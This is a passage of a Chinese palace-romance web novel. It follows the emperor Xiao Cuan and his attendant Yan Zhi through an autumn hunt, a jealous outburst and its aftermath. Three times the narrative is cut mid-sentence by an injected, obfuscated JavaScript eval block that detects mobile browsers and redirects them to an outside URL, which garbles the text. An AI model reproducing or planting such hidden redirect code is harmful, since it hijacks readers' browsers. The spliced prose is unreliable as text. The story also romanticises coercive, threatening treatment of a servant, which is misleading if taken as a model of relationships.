大梁宫宫门大开,宫道两旁,文武百官肃穆而立,恭候圣驾。 燕枝从他们中间走过,并不觉得自己能够仗着陛下的皇威,狐假虎威。 他只觉得……有点儿难堪。 他既不是宫廷内臣,更不是朝中官员,他只是陛下的贴身侍从而已。 他不知道自己能用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133896|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么身份出现在这里。 在出行队伍里,燕枝看到了不少眼熟的人。 被陛下点评才学中上等的王什么公子,被陛下点评家世上上等的卞明玉卞公子。 卞公子身后还跟着四位与他年岁相仿的年轻公子,想来这四位就是卞大人弟弟的儿子。 还有…… 还有和他仅仅见过一面的好友,谢仪。 谢仪的父亲如今也是军中一个不大不小的将领了,谢仪跟在父亲身后,站在队伍靠后的地方。 他似乎长高了,还长壮实了,身上穿着窄袖劲装,背着弓箭,只是那张脸依旧白白净净的,像个读书人。 许是听见燕枝的脚步声,又许是察觉到燕枝的目光,谢仪抬起头,正巧同他对上目光。 燕枝不敢多看,忙不迭别过头去,加快脚步,从宫道中间走过。 正当此时—— 一阵急促的马蹄声由远及近,从燕枝身后传来。 燕枝下意识回头,但还没等他看清什么,一阵黑色的风从他身后扫过,有人揽住他的腰,把他从地上抱起来。 “啊……” 燕枝挥舞着双手双脚,奋力挣扎,却被对方牢牢按在怀里。 “是朕。” 原来是陛下。 燕枝安静下来,乖乖坐在马背上。 萧篡一手拽着缰绳,一手握住他的两只手腕,将他按在怀里。 通体漆黑的战马飞驰向前,萧篡不仅不勒马,反倒用力甩了一下缰绳,让马匹跑得更快。 鼓角声起,震天动地。 帝王身后千军万马,不动时好似山峦静卧。 动起来时,便如同黑云压城,寸寸逼近,寸寸威慑。 鼓角声恢弘,脚步声整齐,风声呼啸。 燕枝耳边,忽然传来陛下咬牙切齿的声音—— “你再敢盯着那些公子哥儿看,朕就把他们全阉了。” “奴没有。”燕枝下意识回头。 萧篡厉声呵斥:“还看!” “没有……”燕枝连忙转回脑袋。 “先把他们阉了,再把你给阉了,也就不必担心他们入宫之后,和你有些什么了。” “奴不会……和后宫妃嫔有什么的。”燕枝小声解释道,“他们都是陛下的人。” “早想到你喜欢男的,当日选秀就不该男的女的一起选。” “陛下现在颁旨取消‘男女同选’,也来得及……” “你想得美。”萧篡冷声道,“你不想让谢仪选秀,就哄着朕别选男的,好把他摘出去,是吧?” “奴没有……” “由得你乱来。”萧篡冷嗤一声,“别乱动,别废话。等会儿没坐稳,掉下去,被马踩两脚,踩成扁扁的小烧饼,再哭着喊着求朕救你,朕可不救。” 燕枝脸色一白,想到那个场景,不由地抓紧了马鞍。 萧篡仍旧冷着脸,连带着身上盔甲也冷冰冰的。 他甚至故意往旁边撤了撤手,推了燕枝一把。 燕枝身子晃了一下,脸色彻底白了,忙不迭抓住他的手,说话也带了哭腔:“陛下……” 萧篡垂眼看他:“自己坐好。” 燕枝努力把自己缩成一团,塞进陛下怀里。 他还没坐稳,萧篡一甩缰绳,原本已经放慢速度的战马,即刻又提起速度,如同上了战场一般,全力冲锋。 萧篡铁铸一般的双臂,将燕枝牢牢圈在怀里。 从始至终,燕枝都紧紧地抓着他的手,一刻也不曾放松。 因为惊吓,燕枝小口小口地喘着气,胸脯起起伏伏。 萧篡低下头,蹭了蹭燕枝发凉的脸颊,从喉咙里挤出一声野兽一般的“呼噜”声。 他终于心满意足。 9.恼怒 9 马蹄踏过,烟尘四起。 萧篡一马当先,率领两列亲卫,抵达北凉山下。 大梁将整片北凉山脉圈起来,作为猎场。 山上建有行宫,但是萧篡从来不去,每每都下令在山下安营扎寨。 他们到的时候,营帐已经搭好,高台已经筑成。 营帐错落分布,排列之间,自成阵型。 帝王营帐位于正中,也是最高大、最奢华、最显眼的那个。 帐篷顶上镶嵌着明珠,明珠折射日光,晃了一下燕枝的眼睛。 萧篡从来不怕引人注目,更不怕敌人刺杀,就算是在战场上,他也是这般做派。 战马飞驰,萧篡用力一拽缰绳,马匹嘶鸣一声,两条前腿抬起,又把燕枝往他怀里送了送。 萧篡勾了勾唇角,抱紧燕枝,抽动缰绳,准备绕着营地跑一圈。 “驾!” 燕枝小脸煞白,软软地靠在陛下怀里。 这一路颠簸下来,他实在是没力气了。 手上没力气,抓不住缰绳。 脚上没力气,踩不住马镫。 身上更是没力气,坐也坐不稳。 他累极了,偏偏陛下还龙精虎猛,搂着他在营地里闲逛,随手一挥马鞭,指点军士扎营。 “此处加两道拒马。” “高处增设两座瞭望台。” “河里立块木头,记录水位。” “是!”负责扎营的军士领命下去,随即开始行动。 萧篡垂眼,看向燕枝,反手将马鞭对折,戳了戳他的脸。 燕枝还是没缓过来,正小口小口地喘着气。 他连喘气都压低了声音,不敢打扰陛下。 “乖小狗。” 趁着军士转身,亲卫又在身后,萧篡用马鞭抬起燕枝的脸,在树荫遮掩下,低头亲了他一口。 燕枝愣了一下,全然忘了挣扎。只有一双眼睛睁得圆圆的,像两颗小铃铛。 紧跟着,陛下像野兽舔舐猎物一般,用唇舌拨开他的唇瓣。 一颗小小的、圆圆的糖,被送进他嘴里。 糖球在温温热热的唇齿相接之间,已经有些融化了。 浓郁的牛乳香气盈满燕枝的口腔和鼻腔,香甜的牛乳味道一直从舌尖甜到舌根。 好好吃的糖,燕枝眨巴眨巴眼睛,越发呆住了。 萧篡端详着他的脸,见他原本苍白的小脸上,慢慢有了血色,这才满意。 他骑着马,横穿营地。 萧篡回到原地的时候,身后的文武百官,才紧赶慢赶地追了上来。 “陛下身强力壮,臣等望尘莫及。” 萧篡轻笑一声,不曾理会他们的吹捧,只是调转马头,立在队伍最前面。 照着大梁从前的规矩,现在文武百官应当恭请帝王下马,登上高台。 随后会有士兵抬来几笼野鸡、野鸭,放在距离不远的地方。 笼子一打开,这些鸡啊鸭啊,就扑腾着翅膀往外面跑。 帝王在高台之上,引弓射箭,只要射中一只,就算是陛下英明神武。 装模作样,装腔作势。 萧篡当然不喜欢这种规矩,更不需要这种规矩。 他握住缰绳,望着广阔无边的北凉山,正色道:“文武百官都有——” 众臣赶忙应道:“臣在!” 萧篡摸摸燕枝的脑袋,低声道:“还有朕的乖小狗。” 燕枝低下头,也小小地应了一声:“奴……奴在。” ——“随朕入山狩猎!” * 山林茂密,树木阴翳。 一行人甫一进山,前面草丛里就传来窸窸窣窣的动静,一小点儿灰色的皮毛若隐若现。 燕枝乖巧地取下挂在自己身上的弓箭,递给萧篡。 萧篡却只看了一眼,又把弓箭挂回去:“兔子,太小了,不要。” “是。”燕枝点点头。 他不动手,身后跃跃欲试的众臣也不敢轻举妄动,默默地收回了手。 再往林子深处走,偶尔见到几只猎物,萧篡统统抬手放过。 有朝臣试探着问:“陛下是在等……” 萧篡淡淡道:“貂、狐狸,猛虎最好,棕熊也可。” “啊……” 朝臣们都愣了一下,燕枝也呆住了。 待回过神来,朝臣又忙道:“陛下果真勇武。” 萧篡轻笑一声,捏捏燕枝的脸,玩味道:“架不住有人缠着朕,哭哭啼啼地说冬日太冷,熬不过去,软磨硬泡地管朕要貂裘,要狐裘,还要在虎皮上睡觉。” 他最后道:“小狗要在虎皮上睡觉,也是胆大包天。” 众臣低眉垂首,不敢接话。 燕枝呆呆的,只觉得害怕。 狐狸、老虎、棕熊,陛下现在要去找这些猎物吗? 那多可怕啊。 万一他来不及跑怎么办?万一他跑的时候从马背上掉下来怎么办? 他会被老虎一爪拍扁,然后吃掉的。 他可以不去吗?到底是哪只小狗要…… 燕枝后知后觉地反应过来,抬头看向陛下。 察觉到他的目光,萧篡转回头,也看向他:“做什么?” 燕枝小声道:“奴没有缠着陛下要虎皮。” “朕没说你。”萧篡理直气壮,“朕说的是小狗,爱争宠的小狗。” 燕枝顿了一下,抬头看向四周。 其实在场所有人,都知道帝王说的是他。 陛下与贴身侍从玩笑,朝臣不敢多言。 陛下对侍从上心,有意入宫之人暗自警惕。 见燕枝看过来,他们为了避嫌,纷纷避开目光。 可是…… 燕枝低下头,揪着自己的衣袖。 他穿自己的衣裳就很舒服啊。 他从来都没有肖想过虎皮。 * 秋狩第一日。 狩猎队伍并没有往山里走太远,也就没有遇到所谓的猛虎棕熊。 再翻过两座小山,山丘上有狐影闪过。 这回萧篡没有再犹豫,摘下挂在燕枝身上的弓箭,引弓射箭。 嗖嗖两声—— 两只雪白的狐狸应声倒地。 在朝臣们的恭贺声中,萧篡拍拍燕枝的腰背,让他过去捡。 燕枝乖乖应了一声,抓着马鞍,从马背上滑下来。 山路崎岖,他小跑着去捡狐狸,结果脚下绊了一下,整个人往前扑去。 他忙不迭用手撑地,才没有摔得太难看。 恍惚之间,他听见陛下笑了一声,语气无奈:“笨手笨脚的,做小猎狗也不够格。” 狐狸还没死透,僵着身子,一抽一抽的。 燕枝壮起胆子,伸出手,抓住它们的后腿,一手拎着一只,回到陛下面前。 可陛下看着他,面上笑意越盛:“噢,这下做小猎狗合格了。” 帝王终于射下猎物,跟随朝臣们也不再拘束,纷纷拿起弓箭。 正午时分,他们也没有下山,而是在林子里找了片空地,稍事休整,马上又追着猎物跑。 一直到了傍晚,太阳下山的时候,一行人才意犹未尽地离开。 随行大臣个个儿满载而归,面上都喜气洋洋。 “王将军老当益壮啊。” “哪里哪里?都是托陛下洪福。” “将军打的这只野鸡,连羽毛都是七彩的!” 听见这话,燕枝不由地扭过头去,想看看七彩鸡毛。 可没等他看清,萧篡就按住了他的脑袋:“别乱动,你也是朕的猎物。” “奴……” “他们的马背上都挂着猎物,你也在朕的马背上。你也是朕打来的猎物。” 燕枝想了想,难得开口反驳:“陛下方才还说奴是小猎狗。” 萧篡皱眉:“再顶嘴,把你也挂在马屁股上。” * 回到营地,把猎物交给随行宫人处理,估摸着不到半个时辰,便能吃上了。 帝王营帐里,燕枝帮陛下卸了甲,自己也换了衣裳,简单梳洗一下,洗去一天的尘土。 萧篡穿着玄色单衣,抱着手,靠坐在小榻上,闭目养神。 燕枝把两个人换下来的衣裳叠好,装进木盆里,准备把衣裳拿出去。 他刚要走,就听见陛下道:“跑着去跑着回,回来给朕捶腿。” “是。” 燕枝应了一声,迈开脚跑了出去。 就这么一会儿功夫,日头已经全落山了,天色也暗了下来。 营地里点起火把,士兵侍从,人来人往,都忙得很。 燕枝抱着木盆,快步朝洗衣房走去。 可就在这时,他隐约听见两声轻响,低低的、小小的—— “小公子……小公子……” 燕枝脚步一顿,环视四周。 只见一顶帐篷后面,有两只手在挥动。 事出古怪,燕枝刚准备喊士兵过来查看,可下一刻,两个十五六岁的小姑娘,从帐篷后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139245|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探出脑袋。 “小公子,别……别喊人……” 燕枝惊讶。 此次秋狩,陛下特许选秀男女跟随同行。 营地搭建之时,一定是分了男女两边的。 女子怎么会出现在这里? 燕枝看看四周,打消了声张的念头,小跑上前。 两个女子向他行礼:“小公子有礼,家父是威武将军王兴。” “王将军。” 燕枝认识王将军,抄写选秀名册的时候,也有抄到他有一个女儿。 “这是我的丫鬟小翠,我与丫鬟在帐中待着无趣,本欲四处走走,不想一时迷路,竟走到了陛下营帐附近。” “正巧陛下又率人游猎归来,我二人下意识躲避,结果被堵在了这里……叫天不应,进退不能……” “看小公子面善,这才斗胆相求,还请小公子不要声张。” 两个小姑娘在这儿站了半天,眼看天都要黑了,急得脸色惨白,强自端起架子,但说话也是语无伦次的。 燕枝明白过来,点了点头:“我送你们回去。” “多谢,多谢。” 燕枝踮起脚,望了望四周地形。 所幸白日里,陛下骑着马,带着他在营地里转了一圈,他隐约还记得营帐布局。 燕枝抱着木盆,带着她们,避开旁人,从火光照不见的营帐后边穿过去。 “这里走。” “好。” 燕枝走在前面,两个小姑娘相互搀扶着,跟在后面。 忽然,有人大喊一声:“谁在那儿?” 燕枝直起身子,刚要说话,却发现那人问的不是他。 一路上有惊无险,燕枝带着两个小姑娘,将她们送到女子营帐外。 “到了,你们快进去吧。”燕枝贴心叮嘱,“别说去了陛下营帐附近,也别说遇见了我。” “为何?” “无端人等,出现在陛下营帐附近,会被当成刺客盘查。” “那你呢?” 终于脱险,小姑娘眨了眨眼睛,显露出天真的一面。 “你是哪家的小公子?我回去告诉我爹,让他找你爹道谢。” “我并不是朝中大人府中的公子……” “那你就是侍卫了?还是士兵?” “我……”燕枝顿了顿,“我什么也不是。你们就当我是一只小鸟儿吧,把你们送到,我就该飞走了。” 燕枝最后朝她们点了一下脑袋,抱着木盆,大步离开。 两个小姑娘望着他匆匆离开的背影,刚想说这人真古怪,结果一扭头,就撞上了从家里跟来的嬷嬷。 “诶哟,女郎跑到哪里去了?真是叫嬷嬷好找!” 燕枝回头瞧了一眼,见有人出来接她们了,才放下心来,加快脚步,朝洗衣房跑去。 把衣裳交给宫人,燕枝又马不停蹄地朝帝王营帐跑去。 出来的时候,陛下让他跑着去跑着回,要是回去迟了,陛下肯定又恼怒。 陛下一恼怒,就欺负他。 燕枝回到帐前,用衣袖抹了把脸上的汗珠,整理了一下仪容。 最后掀开帐子—— 还好。 燕枝看清帐中情形,暗自松了口气。 陛下仍旧维持着方才的姿态,抱着手,闭着眼,靠坐在榻上。 燕枝放下帐子,轻手轻脚地走进去。 可下一瞬,萧篡淡淡地开了口—— “小狗出去招蜂引蝶回来了?” 燕枝一惊,呆在原地。 萧篡睁开眼睛,坐直起来。 帐中烛火轻晃,更衬得他面色阴沉,目光阴鸷。 “就出去一趟的功夫,你也能招惹上旁人?” “朕白日里才说,选秀就不该选男子,省得你不安分。” “结果才一会儿没看住,你又跑去招惹女子。” 燕枝忙道:“奴没有,只是在路上遇见了……” 萧篡懒得听他解释,只道:“过来。” 燕枝心里害怕,不由地后退半步。 他怕,怕陛下又咬他,怕陛下又掐他,怕陛下又把他弄得下不来床。 可就是这半步,让萧篡更加恼怒。 “朕让你过来!” 燕枝努力克制住扭头逃跑的冲动,但也只是站在原地,不靠近也不后退。 下一刻,萧篡如同猛虎一般,忽然暴起,大步上前,抱住燕枝的腰,直接把他扛了起来。 如同扛起猎物一般,将他重重地丢在榻上。 10.反抗 10 嘭—— 燕枝被丢在榻上,整个人摔进堆叠的被褥毯子里。 他挣扎着,胡乱挥了两下手,扑腾着从被褥里爬起来。 可他刚转过身,迎面就撞进了陛下怀里。 ——陛下就堵在他身后。 萧篡背对着烛火,立在榻前。 他分明站在阴面,看不清神色,一双眼睛却如同狼的眼睛一般,在黑暗里亮着鬼火一般的光。 燕枝被吓了一跳,往后一退,又跌回榻上。 “陛下……” 萧篡本就身形高大,烛焰摇晃,映出一片阴影,如同囚笼一般,将燕枝整个儿笼罩。 燕枝想逃,却在帝王滔天怒火的威压之下,不敢再动。 他想解释,张了张口,却忽然发现自己发不出声音。 燕枝见过这样的情形。 白日里,他们在山上打猎的时候,那些毛色灰白的兔子,被箭射中的时候,害怕到了极点,也发不出任何声音。 而那些兔子能做的,就是红着眼睛,可怜兮兮地望着猎人。 燕枝也只能这样。 忽然,萧篡猛地俯身。 燕枝再次被吓到,下意识往后躲。 就像猛虎捕猎一般。猛虎抓住了猎物,不一口气咬断猎物的喉咙,而是用爪子踩住猎物的尾巴,逗弄玩乐。 萧篡目光阴鸷,步步靠近,寸寸紧逼。 燕枝两只手抓紧身下被褥,慢慢后退,整个人缩回榻上。 终于,燕枝再也受不了这样强势的威慑,找准机会,朝榻尾扑去,想要逃走。 下一刻,萧篡一把抓住他的衣领。 “唔……” 萧篡掐着燕枝的后颈,把他抓回来,牢牢地按住他,低头贴上他温热颤抖的双唇。 野兽逗弄玩了,扯下伪装,终于开始享用他的猎物。 燕枝仰着头,被迫承受狂风骤雨一般的亲吻和啃咬。 他被亲得喘不上气来,下意识伸出双手,死死抓住陛下的衣襟,如同抓住最后一根救命稻草。 萧篡垂眸瞧了一眼,似乎是被他这个动作取悦到了,放轻了力度。 他再次俯身靠近,将燕枝堵在榻上,一手托着他的脑袋,一手胡乱扯了扯他身上的衣裳,手从衣摆里探进去。 燕枝被掐了一下,抓着萧篡衣襟的手更紧了。 他低下头,额头抵在男人结实的胸膛上,止不住地发颤:“陛下……陛下……慢点……” 萧篡一言不发,手上动作不停。 直到帐篷外面,传来宫人通禀的声音。 “陛下,晚宴已然齐备。” 与此同时,燕枝“呜”了一声,脱了力一般,软软地倒了下去。 燕枝出了汗,身上衣裳也乱了。 萧篡却衣裳整齐,头也不回地应了一声:“知道了。” 宫人退走。 萧篡最后捏了燕枝一把,从他怀里抽出手帕,在他面前把手擦干净。 他终于开了口,只是语气依旧不悦,满是威胁。 “是朕选秀,又不是你选秀,你蹦跶什么?” 燕枝用手捂着脸,别过头去,两行眼泪打湿被褥。 他小小声地说:“没有……” 萧篡大抵没听见,继续道:“跟钻进花丛的小狗似的,到处打滚,沾上一身花粉。” “奴没有……” “下回再敢出去招蜂引蝶,朕直接把你废了,再把你锁在榻上。” 萧篡把脏了的手帕摁在他的脸颊边,用力擦去他脸上的泪。 他最后命令道:“今晚不许再出帐篷一步。” 这是惩罚。 萧篡说完这话,转身拿起搭在旁边的干净外裳,披在身上,就准备出去看看。 秋狩第一日,照例是有晚宴的。 萧篡刚走到帐前,忽然听见身后传来窸窸窣窣的声音。 紧跟着,是燕枝带着哭腔的声音—— “我没有……” 他回过头,只见燕枝不知道什么时候从榻上爬起来了。 他紧紧地抱着毯子,手里攥着那块帕子,眼眶通红,满脸是泪地瞪着他。 “我没有……我没有!” 燕枝哭得越来越厉害,声音也越来越大。 他发着颤,不知道说别的话,只知道重复这三个字。 他没有招蜂引蝶,没有拈花惹草,没有做坏事! 萧篡看着他,皱起眉头。 “我没有!” 燕枝最后喊了一声,把手帕揉成一团,往萧篡的方向用力一丢。 但手帕轻飘飘的,没丢出去多远,就落在了地上。 他哭着,抱紧了被子,转过身去,背对着萧篡,躲在床榻角落里。 萧篡大步上前,一脚踩过手帕,想把燕枝抓起来,问问他知不知道自己在说什么,知不知道自己在跟谁发脾气! 可他刚伸出手,就听见燕枝压抑的哭声。 沉默片刻,萧篡最后还是伸出手,扣住燕枝的肩膀,让他转过身来,把一颗奶糖塞进他嘴里。 最后,他转身大步离开,重重地将帐篷帘子甩上。 * 天色渐暗。 营地之中,文武百官仍旧沉浸在白日游猎的欢欣之中,喜气洋洋。 忽然,帝王披着单衣,面色阴沉,从营帐里走了出来,大步从他们中间穿过。 百官见状不对,赶忙收敛了脸上笑容,俯身行礼:“陛下。” 萧篡不曾理会他们,连看都不曾看一眼,径直走到主位边,一扬衣摆,在位置上落座。 宫人屏息凝神,送上烤得焦香四溢的野物和米酒。 他们悄悄环视一圈,燕枝公子不在,也就没有人坐在陛下身边,为陛下切肉斟酒,那…… 正迟疑时,萧篡就摆了摆手,让他们下去。 宫人不敢再看,放下东西就下去了。 萧篡架着脚,端起酒樽,仰头饮尽。 他攥着酒樽,手背上青筋暴起,几乎要将酒樽捏扁。 燕枝这个又坏又蠢的小狗,脾气是越来越大了,胆子也是越来越肥了。 现在都敢跟他又哭又闹、大喊大叫了。 分明是他出去东逛西逛,一会儿功夫就招惹了一群人。 不就捏了他两下,他不是也挺舒服的? 结果他还委屈上了。 萧篡忽然扬起手,把酒樽往地上狠狠一砸,吓得众臣连忙再次跪下,噤若寒蝉。 紧跟着,只听见“哐当”一声巨响。 萧篡一脚踹翻面前桌案,案上酒肉器皿散落一地。 众臣的头越发低了,周遭也越发静了。 萧篡在外边待了不到一刻钟,便回了营帐。 他回去的时候,燕枝还裹着毯子,蜷着身子,躲在床榻角落里。 像一只躲在墙角的小蘑菇。 萧篡刻意放轻脚步,燕枝没有察觉到有人进来,脑袋抵在床角,一边抹眼泪,一边掰着手指头,自言自语。 “没有拈花惹草。只是在路上遇到了两个迷路的小姑娘,送她们回去而已。” “没有缠着陛下要虎皮。冬天不冷,多穿几件就可以了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147134|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没有争宠。是陛下教我争宠,我不学就欺负我。” 他是在演练。 他在陛下面前,总是说不出话来,所以他想提前演练一下,把想说的话多说几遍。 萧篡抱着手,站在他身后,狩猎一般的眼神,紧紧地盯着他。 蠢得要命。 萧篡盯着他瞧了一会儿,随后脚步一转,又出去了。 外边宫人正在收拾满地狼藉,文武百官也正准备各自回帐。 萧篡却回到位置上,又坐下了,冷声道:“朕没说散席,急着走什么?” 于是众人赶忙转身回来,如坐针毡。 空地正中燃起篝火,百官围坐在篝火两旁。 帝王抱着手,靠在凭几上,面色始终阴沉。 如同电闪雷鸣,狂风暴雨。 * 不知道过了多久,宫人掀开帐子,走进主帅营帐。 “燕枝公子,陛下让我等送些东西过来。” 燕枝赶忙抹了把眼睛,抱着毯子,回头看去。 两个宫人捧着托盘,将东西一样一样放在榻前案上。 一碗纯白的牛乳,一碗炖得很烂的肉羹,加了鸡蛋,还有一只清炖的鸡腿。 燕枝悄悄清了清嗓子,努力克制住哭腔,小声道谢:“有劳你们。” “陛下吩咐了,要燕枝公子全部吃完。” “我会吃的。”燕枝点点头。 宫人离开,燕枝捧起牛乳,抿了一口。 在外面跑了一天,他确实也饿了,饿得肚子都有点儿疼。 温热的牛乳下肚,他才感觉好些了。 只是这回的牛乳,和他之前喝过的,好像不太一样。 这碗牛乳一点儿都不腥,闻起来香香的,喝起来也甜甜的,似乎是放了蜜糖。 燕枝饿过了头,也累过了头,就着一碗牛乳,吃了半碗肉羹,就吃不下了。 他把东西放到一边,自己抱着双腿,坐在榻上,等着陛下回来。 刚刚是他说不出话,现在他有力气了,他一定要把事情说清楚。 陛下总是冤枉他,因为一些他没做过的事情,就欺负他。 他不要。 不要再这样了。 他要把事情说清楚,他要陛下听他把话说完。 他不奢求陛下向他道歉,他只要陛下知道,是他错了。 明明就是陛下错了! 燕枝这样想着,心里渐渐燃起希望,身上也有了力气。 可是…… 帐篷外面,火光晃动,人影走过。 月上中天,周遭一片寂静,仿佛天底下只剩下他一个人。 燕枝就这样坐着等,一直等,一直等。 他等了好久好久,也没等到晚宴结束,陛下回来。 陛下好像不回来了。 燕枝垂着头,身子一歪,终于倒在榻上,沉沉地睡了过去。 又不知道过了多久,燕枝睡得迷迷糊糊的时候,他隐约感觉有人走到榻前,随手打翻他放在边上的碗碟。 男人冷嗤一声,低声道:“还挺识货。商城换的甜牛奶全喝完了,剩下的东西一口不碰。吃饱就睡,睡醒就吃。” 紧跟着,燕枝身边的床榻往下一陷。 男人在他身边躺下,揪着他的衣领,把他按进怀里。 燕枝在睡梦中挣扎着,嘴巴比脑子快,把准备好的话念了出来。 “我没有……没有勾.引别人……没有争宠……” 男人却伸出手,捂住他的嘴,胡乱抹了把他的脸。 “别吵,睡觉。” 11.偷闲 11 燕枝听得出陛下的声音,也感觉得到陛下的气息。 他知道,是陛下回来了。 所以他挣扎着要醒过来,想把准备了一晚上的话说给陛下听。 可是他才说了一句,就被陛下捂住了嘴。 “呜呜……” 燕枝摇晃脑袋,挥舞双手,试图挣扎,却被陛下抱得更紧。 铁铸一般的手臂横在他的腰上,陛下用铜筋铁骨铸成一道牢笼,牢牢地将他锢在怀里。 “别吵,睡觉。” 帝王冷厉的声音在他头顶响起。 燕枝顿了一下,然后挣扎得更厉害了。 不行,他一定要把事情说清楚,他不能就这样不明不白地被陛下欺负。 燕枝面上软和,内里却是个不折不扣的犟种。 他打定主意要说的话,就一定要说。 他打定主意要做的事情,就一定要做。 就算是陛下也不能阻止。 萧篡察觉到了他的抗拒,不但没松开他,反倒将他抱得更紧。 一手仍旧锢着他的腰,一手落在他的后脑上,压着他的脑袋,让他把脸埋进自己的胸膛里。 眼前一片黑暗,周遭一片威压。 燕枝分不清梦境与现实,也分不清自己到底是醒着的还是睡着的。 他只觉得自己被一头野兽压在身下,说不出话来,连呼吸都有些困难。 所以这是噩梦。 这一定是噩梦…… 燕枝胡乱挣扎了两下,最后蹬了一下脚,身子绷直,就这样睡过去了。 黑暗里,萧篡稍稍放松了抱着他的力度,低头看去。 燕枝绷着身子,趴在他怀里,两只手还紧紧地拽着他的衣襟,做出抗拒和防御的姿态。 像一只受惊的小兔子。 萧篡一根一根地掰开燕枝的手指,又抓着他的手,让他把手搭在自己身上。 感觉到燕枝袒露出柔软的心口和肚皮,温温热热地贴上来,毫无保留地依偎着自己,萧篡才满意地闭上眼睛,安然入睡。 就是要这样才对。 * ——“陛下,救我!” 天色破晓的时候,燕枝惊叫一声,从睡梦中惊醒。 他抱着被子,从榻上弹起来,大口大口地喘着气。 他……他做了个噩梦。 他梦见陛下带他去山上打猎,陛下非说他要虎皮,带着他去猎猛虎。 猛虎出现的时候,林子里忽然狂风大作,把他刮下马背。 下一瞬,陛下消失得无影无踪,只留下他一个人,面对猛虎。 他吓坏了,在梦里一边哭一边跑,好几次都被猛虎扑在身下。 燕枝低着头,喘着气,脸上的汗珠滑下来,凝在鼻尖,最后滴落在被子上。 他缓了缓神,抹了把脸,总感觉有哪里不太对劲。 平常这个时候,陛下早该笑话他了,可是这回,他身边怎么一点儿动静都没有? 燕枝连忙抬起头,环顾四周,只见榻上空空荡荡,帐篷里也空空荡荡。 陛下不在,一个人也没有。 他……他真的被陛下丢下了! 燕枝忙不迭丢开被子,连鞋也来不及穿,赤着脚就跑出去。 他掀开帐子,迎面正撞上两个随行宫人。 燕枝愣了一下,看着营地里来来往往的士兵宫人,不由地松了口气。 还好还好,他没有被丢在这里。 宫人向他行礼:“燕枝公子。” “陛下……”燕枝问,“陛下呢?” “陛下一早就带着几位将军,上山去了。陛下说,燕枝公子昨日疲累,今日就不必跟随了。” “好。”燕枝点点头,“我知道了。” 他不想去思索,陛下不准他跟随,究竟是真的想让他休息,还是为了昨夜的事情,故意冷落他,想给他一个下马威。 他只觉得松快。 不上山,就不会遇见老虎。 不遇见老虎,他就不会被老虎追。 不被老虎追,他的噩梦就不会成真。 真好。 燕枝又松了口气,转身回了营帐,把自己身上因为噩梦汗湿的衣裳换下来。 宫人们为他送来热水和早饭,他简单洗漱一番,吃了一大碗肉羹、一块肉饼,还有一块豆沙饼。 他心情好,吃的东西比昨夜多多了。 吃完早饭,宫人们收拾好东西就出去了。 燕枝一个人待在帐篷里,拿出自己带来的小包袱,从里面翻出两册话本。 平日里,他总跟在陛下身后,服侍陛下,也没空闲看这些。 这两册话本,还是他前两年买的。 不知道陛下什么时候回来,他窝在榻上,一页一页,认认真真地看。 看到惊险的地方,他没忍住用手捂着脸,不敢再往下看。 就在这时,帐篷外传来一声欢呼—— “彩!” 燕枝下意识扭过头,放下话本,朝外面走去。 他掀开帘子,循声望去。 原来是十来个没有上山打猎的年轻公子,在空地上玩乐。 一群人聚在一块儿,往百步之外的树上系一根布条,轮流射箭。 方才有人射中,所以他们喝彩。 燕枝不自觉朝玩乐的方向迈了一步,忽然想起自己的身份,又赶忙停下脚步。 这些都是朝中官员家的儿郎,是陛下选秀的备选公子。 他只是陛下的贴身侍从,陛下昨夜才教训过他,让他不许乱跑。 他不该过去凑热闹。 燕枝放下帘子,回到帐篷里,躲回榻上,继续看他的话本。 他低下头,用手指着话本上的字,一个字一个字的念出来,努力转移自己的注意力。 他和这些公子儿郎,本就不是一路人。 要是被陛下发现,他就完蛋了,陛下是真的会把他锁起来的。 可他越是让自己不要听、不要想,外面的交谈声、喝彩声,还有喝倒彩的声音,就越发大声响亮。 声音如同潮水一般,向他涌来,将他包围,无孔不入,他的思绪也如同鸟儿一般,飞到了外面。 其实…… 时辰还早,陛下应该要傍晚才会回来。 燕枝心里钻出一个大逆不道的念头。 这个念头甫一落地,瞬间就生根发芽,越长越大。 他再也克制不住自己,跳下床榻,抓起披风,给自己披上。 他会把自己裹得严严实实的,不会被任何人认出来的。 他就躲在旁边,躲在隐蔽的地方,偷偷地看一眼。 他会时刻注意着周围的动静,陛下一回来,他就赶紧跑回来。 没关系的,不会有事的。 最后,燕枝戴上兜帽,像偷鱼干的小猫一样,悄悄摸摸出了门。 他不敢靠得太近,只敢躲在帐篷后面,好奇地看着射箭的人,盯着飞出去的箭尖。 旁人射中了,他就跟着小声喝彩。 旁人没射中,他也不跟着喝倒彩。 